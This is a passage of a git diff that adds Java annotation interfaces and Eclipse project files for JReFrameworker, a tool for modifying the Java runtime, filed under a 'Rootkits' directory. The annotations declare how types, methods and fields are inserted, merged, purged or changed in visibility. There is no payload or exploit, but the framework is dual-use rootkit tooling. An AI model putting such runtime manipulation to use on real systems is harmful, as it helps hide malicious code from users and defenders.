+@Retention(RetentionPolicy.CLASS) + +/** + * Indicates the annotated type (class, abstract class, interface) should be + * inserted into the runtime. If the runtime type already exists it will be + * replaced with the annotated type. Ignores all other JReFrameworker annotations. + * + * "supertype" forces merges into the specified qualified type + * This option is useful for nasty edge case hacks...or forcing stubborn compiles to work. + * Hopefully in the future this option can be removed + * + * @author Ben Holland + */ +public @interface MergeType { + int phase() default 1; + String supertype() default ""; +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/src/com/jreframeworker/annotations/types/PurgeType.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/src/com/jreframeworker/annotations/types/PurgeType.java new file mode 100644 index 0000000..e808749 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/src/com/jreframeworker/annotations/types/PurgeType.java @@ -0,0 +1,24 @@ +package com.jreframeworker.annotations.types; + +import java.lang.annotation.ElementType; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; + +// this annotation is valid for types +@Target({ ElementType.TYPE }) + +// annotation will be recorded in the class file by the compiler, +// but won't be retained by the VM at run time (invisible annotation) +@Retention(RetentionPolicy.CLASS) + +/** + * Indicates the annotated type (class, abstract class, interface) should be + * purged from the runtime. Ignores all other JReFrameworker annotations. + * + * @author Ben Holland + */ +public @interface PurgeType { + int phase() default 1; + String type(); +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/src/com/jreframeworker/annotations/types/PurgeTypes.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/src/com/jreframeworker/annotations/types/PurgeTypes.java new file mode 100644 index 0000000..034c7e9 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/src/com/jreframeworker/annotations/types/PurgeTypes.java @@ -0,0 +1,17 @@ +package com.jreframeworker.annotations.types; + +import java.lang.annotation.ElementType; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; + +//this annotation is valid for types +@Target({ ElementType.TYPE }) + +//annotation will be recorded in the class file by the compiler, +//but won't be retained by the VM at run time (invisible annotation) +@Retention(RetentionPolicy.CLASS) + +public @interface PurgeTypes { + PurgeType[] value(); +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/.classpath b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/.classpath new file mode 100644 index 0000000..eca7bdb --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/.classpath @@ -0,0 +1,7 @@ + + + + + + + diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/.gitignore b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/.gitignore new file mode 100644 index 0000000..ae3c172 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/.gitignore @@ -0,0 +1 @@ +/bin/ diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/.project b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/.project new file mode 100644 index 0000000..0d39f2d --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/.project @@ -0,0 +1,28 @@ + + + com.jreframeworker.annotations + + + + + + org.eclipse.jdt.core.javabuilder + + + + + org.eclipse.pde.ManifestBuilder + + + + + org.eclipse.pde.SchemaBuilder + + + + + + org.eclipse.pde.PluginNature + org.eclipse.jdt.core.javanature + + diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/.settings/org.eclipse.jdt.core.prefs b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/.settings/org.eclipse.jdt.core.prefs new file mode 100644 index 0000000..0c68a61 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/.settings/org.eclipse.jdt.core.prefs @@ -0,0 +1,7 @@ +eclipse.preferences.version=1 +org.eclipse.jdt.core.compiler.codegen.inlineJsrBytecode=enabled +org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.8 +org.eclipse.jdt.core.compiler.compliance=1.8 +org.eclipse.jdt.core.compiler.problem.assertIdentifier=error +org.eclipse.jdt.core.compiler.problem.enumIdentifier=error +org.eclipse.jdt.core.compiler.source=1.8 diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/META-INF/MANIFEST.MF b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/META-INF/MANIFEST.MF new file mode 100644 index 0000000..5be30be --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/META-INF/MANIFEST.MF @@ -0,0 +1,16 @@ +Manifest-Version: 1.0 +Bundle-ManifestVersion: 2 +Bundle-Name: JReFrameworker Annotations +Bundle-SymbolicName: com.jreframeworker.annotations;singleton:=true +Bundle-Version: 1.3.1.qualifier +Bundle-RequiredExecutionEnvironment: JavaSE-1.8 +Bundle-ActivationPolicy: lazy +Require-Bundle: org.eclipse.ui, + org.eclipse.ui.ide, + org.eclipse.core.runtime, + org.eclipse.core.resources +Bundle-Activator: com.jreframeworker.annotations.Activator +Export-Package: com.jreframeworker.annotations.fields, + com.jreframeworker.annotations.methods, + com.jreframeworker.annotations.types +Automatic-Module-Name: com.jreframeworker.annotations diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/build.properties b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/build.properties new file mode 100644 index 0000000..34d2e4d --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/build.properties @@ -0,0 +1,4 @@ +source.. = src/ +output.. = bin/ +bin.includes = META-INF/,\ + . diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/src/com/jreframeworker/annotations/Activator.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/src/com/jreframeworker/annotations/Activator.java new file mode 100644 index 0000000..58747af --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/src/com/jreframeworker/annotations/Activator.java @@ -0,0 +1,50 @@ +package com.jreframeworker.annotations; + +import org.eclipse.ui.plugin.AbstractUIPlugin; +import org.osgi.framework.BundleContext; + +/** + * The activator class controls the plug-in life cycle + */ +public class Activator extends AbstractUIPlugin { + + // The plug-in ID + public static final String PLUGIN_ID = "com.jreframeworker.annotations"; //$NON-NLS-1$ + + // The shared instance + private static Activator plugin; + + /** + * The constructor + */ + public Activator() { + } + + /* + * (non-Javadoc) + * @see org.eclipse.ui.plugin.AbstractUIPlugin#start(org.osgi.framework.BundleContext) + */ + public void start(BundleContext context) throws Exception { + super.start(context); + plugin = this; + } + + /* + * (non-Javadoc) + * @see org.eclipse.ui.plugin.AbstractUIPlugin#stop(org.osgi.framework.BundleContext) + */ + public void stop(BundleContext context) throws Exception { + plugin = null; + super.stop(context); + } + + /** + * Returns the shared instance + * + * @return the shared instance + */ + public static Activator getDefault() { + return plugin; + } + +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/src/com/jreframeworker/annotations/fields/DefineField.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/src/com/jreframeworker/annotations/fields/DefineField.java new file mode 100644 index 0000000..86c8862 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/src/com/jreframeworker/annotations/fields/DefineField.java @@ -0,0 +1,22 @@ +package com.jreframeworker.annotations.fields; + +import java.lang.annotation.ElementType; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; + +// this annotation is valid for methods +@Target({ ElementType.FIELD }) + +// annotation will be recorded in the class file by the compiler, +// but won't be retained by the VM at run time (invisible annotation) +@Retention(RetentionPolicy.CLASS) + +/** + * Indicates the annotated field should be inserted into the base + * class during a merge. If the field already exists, the field + * will be replaced with the annotated field. + * + * @author Ben Holland + */ +public @interface DefineField {} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/src/com/jreframeworker/annotations/fields/DefineFieldFinalities.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/src/com/jreframeworker/annotations/fields/DefineFieldFinalities.java new file mode 100644 index 0000000..6265622 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/src/com/jreframeworker/annotations/fields/DefineFieldFinalities.java @@ -0,0 +1,17 @@ +package com.jreframeworker.annotations.fields; + +import java.lang.annotation.ElementType; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; + +// this annotation is valid for types +@Target({ ElementType.TYPE }) + +// annotation will be recorded in the class file by the compiler, +// but won't be retained by the VM at run time (invisible annotation) +@Retention(RetentionPolicy.CLASS) + +public @interface DefineFieldFinalities { + DefineFieldFinality[] value(); +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/src/com/jreframeworker/annotations/fields/DefineFieldFinality.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/src/com/jreframeworker/annotations/fields/DefineFieldFinality.java new file mode 100644 index 0000000..08139fc --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/src/com/jreframeworker/annotations/fields/DefineFieldFinality.java @@ -0,0 +1,35 @@ +package com.jreframeworker.annotations.fields; + +import java.lang.annotation.ElementType; +import java.lang.annotation.Repeatable; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; + +// this annotation is valid for types +@Target({ ElementType.TYPE }) + +// annotation will be recorded in the class file by the compiler, +// but won't be retained by the VM at run time (invisible annotation) +@Retention(RetentionPolicy.CLASS) + +/** + * Adds or removes the final modifier from a field + * + * "type" should be the qualified class name if not defined the target will be + * the super class of the class the annotation is placed on + * + * "field" should be the name of the field for which to set visibility + * + * "finality" should be a boolean true to add or boolean false to remove the + * final keyword + * + * @author Ben Holland + */ +@Repeatable(DefineFieldFinalities.class) +public @interface DefineFieldFinality { + int phase() default 1; + String type(); + String field(); + boolean finality(); +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/src/com/jreframeworker/annotations/fields/DefineFieldVisibilities.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/src/com/jreframeworker/annotations/fields/DefineFieldVisibilities.java new file mode 100644 index 0000000..52cc81f --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/src/com/jreframeworker/annotations/fields/DefineFieldVisibilities.java @@ -0,0 +1,17 @@ +package com.jreframeworker.annotations.fields; + +import java.lang.annotation.ElementType; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; + +// this annotation is valid for types +@Target({ ElementType.TYPE }) + +// annotation will be recorded in the class file by the compiler, +// but won't be retained by the VM at run time (invisible annotation) +@Retention(RetentionPolicy.CLASS) + +public @interface DefineFieldVisibilities { + DefineFieldVisibility[] value(); +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/src/com/jreframeworker/annotations/fields/DefineFieldVisibility.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/src/com/jreframeworker/annotations/fields/DefineFieldVisibility.java new file mode 100644 index 0000000..5a4b2fc --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/src/com/jreframeworker/annotations/fields/DefineFieldVisibility.java @@ -0,0 +1,34 @@ +package com.jreframeworker.annotations.fields; + +import java.lang.annotation.ElementType; +import java.lang.annotation.Repeatable; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; + +// this annotation is valid for types +@Target({ ElementType.TYPE }) + +// annotation will be recorded in the class file by the compiler, +// but won't be retained by the VM at run time (invisible annotation) +@Retention(RetentionPolicy.CLASS) + +/** + * Sets the visibility of a field + * + * "type" should be the qualified class name if not defined the target will be + * the super class of the class the annotation is placed on + * + * "field" should be the name of the field for which to set visibility + * + * "visibility" should be "public", "protected", or "private" + * + * @author Ben Holland + */ +@Repeatable(DefineFieldVisibilities.class) +public @interface DefineFieldVisibility { + int phase() default 1; + String type(); + String field(); + String visibility(); +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/src/com/jreframeworker/annotations/fields/PurgeField.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/src/com/jreframeworker/annotations/fields/PurgeField.java new file mode 100644 index 0000000..5b164af --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/src/com/jreframeworker/annotations/fields/PurgeField.java @@ -0,0 +1,25 @@ +package com.jreframeworker.annotations.fields; + +import java.lang.annotation.ElementType; +import java.lang.annotation.Repeatable; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; + +// this annotation is valid for methods +@Target({ ElementType.TYPE }) + +// annotation will be recorded in the class file by the compiler, +// but won't be retained by the VM at run time (invisible annotation) +@Retention(RetentionPolicy.CLASS) + +/** + * Indicates the annotated field should be purged from the base class. + * + * @author Ben Holland + */ +@Repeatable(PurgeFields.class) +public @interface PurgeField { + String type(); + String field(); +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/src/com/jreframeworker/annotations/fields/PurgeFields.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/src/com/jreframeworker/annotations/fields/PurgeFields.java new file mode 100644 index 0000000..bafdd5f --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/src/com/jreframeworker/annotations/fields/PurgeFields.java @@ -0,0 +1,17 @@ +package com.jreframeworker.annotations.fields; + +import java.lang.annotation.ElementType; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; + +// this annotation is valid for types +@Target({ ElementType.TYPE }) + +// annotation will be recorded in the class file by the compiler, +// but won't be retained by the VM at run time (invisible annotation) +@Retention(RetentionPolicy.CLASS) + +public @interface PurgeFields { + PurgeField[] value(); +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/src/com/jreframeworker/annotations/methods/DefineMethod.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/src/com/jreframeworker/annotations/methods/DefineMethod.java new file mode 100644 index 0000000..e9db328 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/src/com/jreframeworker/annotations/methods/DefineMethod.java @@ -0,0 +1,22 @@ +package com.jreframeworker.annotations.methods; + +import java.lang.annotation.ElementType; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; + +// this annotation is valid for methods +@Target({ ElementType.METHOD }) + +// annotation will be recorded in the class file by the compiler, +// but won't be retained by the VM at run time (invisible annotation) +@Retention(RetentionPolicy.CLASS) + +/** + * Indicates the annotated method should be inserted into the base type + * during a merge. If the base type already contains the method then + * the base method will be replaced with the annotated method. + * + * @author Ben Holland + */ +public @interface DefineMethod {} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/src/com/jreframeworker/annotations/methods/DefineMethodFinalities.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/src/com/jreframeworker/annotations/methods/DefineMethodFinalities.java new file mode 100644 index 0000000..d736bfc --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/src/com/jreframeworker/annotations/methods/DefineMethodFinalities.java @@ -0,0 +1,17 @@ +package com.jreframeworker.annotations.methods; + +import java.lang.annotation.ElementType; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; + +//this annotation is valid for types +@Target({ ElementType.TYPE }) + +//annotation will be recorded in the class file by the compiler, +//but won't be retained by the VM at run time (invisible annotation) +@Retention(RetentionPolicy.CLASS) + +public @interface DefineMethodFinalities { + DefineMethodFinality[] value(); +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/src/com/jreframeworker/annotations/methods/DefineMethodFinality.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/src/com/jreframeworker/annotations/methods/DefineMethodFinality.java new file mode 100644 index 0000000..32dfa29 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/src/com/jreframeworker/annotations/methods/DefineMethodFinality.java @@ -0,0 +1,35 @@ +package com.jreframeworker.annotations.methods; + +import java.lang.annotation.ElementType; +import java.lang.annotation.Repeatable; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; + +// this annotation is valid for types +@Target({ ElementType.TYPE }) + +// annotation will be recorded in the class file by the compiler, +// but won't be retained by the VM at run time (invisible annotation) +@Retention(RetentionPolicy.CLASS) + +/** + * Adds or removes the final modifier from a method + * + * "type" should be the qualified class name, if not defined the target will be + * the super class of the class the annotation is placed on + * + * "method" should be the name of the method for which to set finality + * + * "finality" should be a boolean true to add or boolean false to remove the + * final keyword + * + * @author Ben Holland + */ +@Repeatable(DefineMethodFinalities.class) +public @interface DefineMethodFinality { + int phase() default 1; + String type(); + String method(); + boolean finality(); +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/src/com/jreframeworker/annotations/methods/DefineMethodVisibilities.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/src/com/jreframeworker/annotations/methods/DefineMethodVisibilities.java new file mode 100644 index 0000000..9c998fc --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/src/com/jreframeworker/annotations/methods/DefineMethodVisibilities.java @@ -0,0 +1,17 @@ +package com.jreframeworker.annotations.methods; + +import java.lang.annotation.ElementType; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; + +//this annotation is valid for types +@Target({ ElementType.TYPE }) + +//annotation will be recorded in the class file by the compiler, +//but won't be retained by the VM at run time (invisible annotation) +@Retention(RetentionPolicy.CLASS) + +public @interface DefineMethodVisibilities { + DefineMethodVisibility[] value(); +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/src/com/jreframeworker/annotations/methods/DefineMethodVisibility.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/src/com/jreframeworker/annotations/methods/DefineMethodVisibility.java new file mode 100644 index 0000000..0762f89 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/src/com/jreframeworker/annotations/methods/DefineMethodVisibility.java @@ -0,0 +1,34 @@ +package com.jreframeworker.annotations.methods; + +import java.lang.annotation.ElementType; +import java.lang.annotation.Repeatable; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; + +// this annotation is valid for types +@Target({ ElementType.TYPE }) + +// annotation will be recorded in the class file by the compiler, +// but won't be retained by the VM at run time (invisible annotation) +@Retention(RetentionPolicy.CLASS) + +/** + * Sets the visibility of a method + * + * "type" should be the qualified class name if not defined the target will be + * the super class of the class the annotation is placed on + * + * "method" should be the name of the method for which to set visibility + * + * "visibility" should be "public", "protected", or "private" + * + * @author Ben Holland + */ +@Repeatable(DefineMethodVisibilities.class) +public @interface DefineMethodVisibility { + int phase() default 1; + String type(); + String method(); + String visibility(); +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/src/com/jreframeworker/annotations/methods/MergeMethod.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/src/com/jreframeworker/annotations/methods/MergeMethod.java new file mode 100644 index 0000000..aced164 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/src/com/jreframeworker/annotations/methods/MergeMethod.java @@ -0,0 +1,24 @@ +package com.jreframeworker.annotations.methods; + +import java.lang.annotation.ElementType; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; + +// this annotation is valid for methods +@Target({ ElementType.METHOD }) + +// annotation will be recorded in the class file by the compiler, +// but won't be retained by the VM at run time (invisible annotation) +@Retention(RetentionPolicy.CLASS) + +/** + * Indicates the base method should be renamed and made private. + * The annotated method will be inserted along the renamed base + * method. Calls to the original base method will now point to + * the annotated method. Super calls to the original base method + * will be replaced with calls to the renamed base method. + * + * @author Ben Holland + */ +public @interface MergeMethod {} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/src/com/jreframeworker/annotations/methods/PurgeMethod.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/src/com/jreframeworker/annotations/methods/PurgeMethod.java new file mode 100644 index 0000000..46fc683 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/src/com/jreframeworker/annotations/methods/PurgeMethod.java @@ -0,0 +1,24 @@ +package com.jreframeworker.annotations.methods; + +import java.lang.annotation.ElementType; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; + +// this annotation is valid for types +@Target({ ElementType.TYPE }) + +// annotation will be recorded in the class file by the compiler, +// but won't be retained by the VM at run time (invisible annotation) +@Retention(RetentionPolicy.CLASS) + +/** + * Indicates the annotated method should be purged from the base type. + * + * @author Ben Holland + */ +public @interface PurgeMethod { + int phase() default 1; + String type() default ""; + String method() default ""; +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/src/com/jreframeworker/annotations/methods/PurgeMethods.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/src/com/jreframeworker/annotations/methods/PurgeMethods.java new file mode 100644 index 0000000..7aa6e54 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/src/com/jreframeworker/annotations/methods/PurgeMethods.java @@ -0,0 +1,17 @@ +package com.jreframeworker.annotations.methods; + +import java.lang.annotation.ElementType; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; + +//this annotation is valid for types +@Target({ ElementType.TYPE }) + +//annotation will be recorded in the class file by the compiler, +//but won't be retained by the VM at run time (invisible annotation) +@Retention(RetentionPolicy.CLASS) + +public @interface PurgeMethods { + PurgeMethod[] value(); +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/src/com/jreframeworker/annotations/types/DefineType.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/src/com/jreframeworker/annotations/types/DefineType.java new file mode 100644 index 0000000..8665a93 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/src/com/jreframeworker/annotations/types/DefineType.java @@ -0,0 +1,24 @@ +package com.jreframeworker.annotations.types; + +import java.lang.annotation.ElementType; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; + +// this annotation is valid for types +@Target({ ElementType.TYPE }) + +// annotation will be recorded in the class file by the compiler, +// but won't be retained by the VM at run time (invisible annotation) +@Retention(RetentionPolicy.CLASS) + +/** + * Indicates the annotated type (class, abstract class, interface) should be + * inserted into the runtime. If the runtime type already exists it will be + * replaced with the annotated type. Ignores all other JReFrameworker annotations. + * + * @author Ben Holland + */ +public @interface DefineType { + int phase() default 1; +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/src/com/jreframeworker/annotations/types/DefineTypeFinalities.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/src/com/jreframeworker/annotations/types/DefineTypeFinalities.java new file mode 100644 index 0000000..d854bcb --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/src/com/jreframeworker/annotations/types/DefineTypeFinalities.java @@ -0,0 +1,17 @@ +package com.jreframeworker.annotations.types; + +import java.lang.annotation.ElementType; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; + +//this annotation is valid for types +@Target({ ElementType.TYPE }) + +//annotation will be recorded in the class file by the compiler, +//but won't be retained by the VM at run time (invisible annotation) +@Retention(RetentionPolicy.CLASS) + +public @interface DefineTypeFinalities { + DefineTypeFinality[] value(); +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/src/com/jreframeworker/annotations/types/DefineTypeFinality.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/src/com/jreframeworker/annotations/types/DefineTypeFinality.java new file mode 100644 index 0000000..02d9438 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/src/com/jreframeworker/annotations/types/DefineTypeFinality.java @@ -0,0 +1,32 @@ +package com.jreframeworker.annotations.types; + +import java.lang.annotation.ElementType; +import java.lang.annotation.Repeatable; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; + +// this annotation is valid for types +@Target({ ElementType.TYPE }) + +// annotation will be recorded in the class file by the compiler, +// but won't be retained by the VM at run time (invisible annotation) +@Retention(RetentionPolicy.CLASS) + +/** + * Adds or removes the final modifier from a type + * + * "type" should be the qualified class name, if not defined the target will be + * the super class of the class the annotation is placed on + * + * "finality" should be a boolean true to add or boolean false to remove the + * final keyword + * + * @author Ben Holland + */ +@Repeatable(DefineTypeFinalities.class) +public @interface DefineTypeFinality { + int phase() default 1; + String type(); + boolean finality(); +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/src/com/jreframeworker/annotations/types/DefineTypeVisibilities.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/src/com/jreframeworker/annotations/types/DefineTypeVisibilities.java new file mode 100644 index 0000000..6e75203 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/src/com/jreframeworker/annotations/types/DefineTypeVisibilities.java @@ -0,0 +1,17 @@ +package com.jreframeworker.annotations.types; + +import java.lang.annotation.ElementType; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; + +//this annotation is valid for types +@Target({ ElementType.TYPE }) + +//annotation will be recorded in the class file by the compiler, +//but won't be retained by the VM at run time (invisible annotation) +@Retention(RetentionPolicy.CLASS) + +public @interface DefineTypeVisibilities { + DefineTypeVisibility[] value(); +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/src/com/jreframeworker/annotations/types/DefineTypeVisibility.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/src/com/jreframeworker/annotations/types/DefineTypeVisibility.java new file mode 100644 index 0000000..26539e1 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/src/com/jreframeworker/annotations/types/DefineTypeVisibility.java @@ -0,0 +1,31 @@ +package com.jreframeworker.annotations.types; + +import java.lang.annotation.ElementType; +import java.lang.annotation.Repeatable; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; + +// this annotation is valid for types +@Target({ ElementType.TYPE }) + +// annotation will be recorded in the class file by the compiler, +// but won't be retained by the VM at run time (invisible annotation) +@Retention(RetentionPolicy.CLASS) + +/** + * Sets the visibility of a type + * + * "type" should be the qualified class name, if not defined the target will be + * the super class of the class the annotation is placed on + * + * "visibility" should be "public", "protected", or "private" + * + * @author Ben Holland + */ +@Repeatable(DefineTypeVisibilities.class) +public @interface DefineTypeVisibility { + int phase() default 1; + String type(); + String visibility(); +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/src/com/jreframeworker/annotations/types/MergeType.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/src/com/jreframeworker/annotations/types/MergeType.java new file mode 100644 index 0000000..906b21a --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/src/com/jreframeworker/annotations/types/MergeType.java @@ -0,0 +1,29 @@ +package com.jreframeworker.annotations.types; + +import java.lang.annotation.ElementType; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; + +// this annotation is valid for types +@Target({ ElementType.TYPE }) + +// annotation will be recorded in the class file by the compiler, +// but won't be retained by the VM at run time (invisible annotation) +@Retention(RetentionPolicy.CLASS) + +/** + * Indicates the annotated type (class, abstract class, interface) should be + * inserted into the runtime. If the runtime type already exists it will be + * replaced with the annotated type. Ignores all other JReFrameworker annotations. + * + * "supertype" forces merges into the specified qualified type + * This option is useful for nasty edge case hacks...or forcing stubborn compiles to work. + * Hopefully in the future this option can be removed + * + * @author Ben Holland + */ +public @interface MergeType { + int phase() default 1; + String supertype() default ""; +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/src/com/jreframeworker/annotations/types/PurgeType.java b/Cross 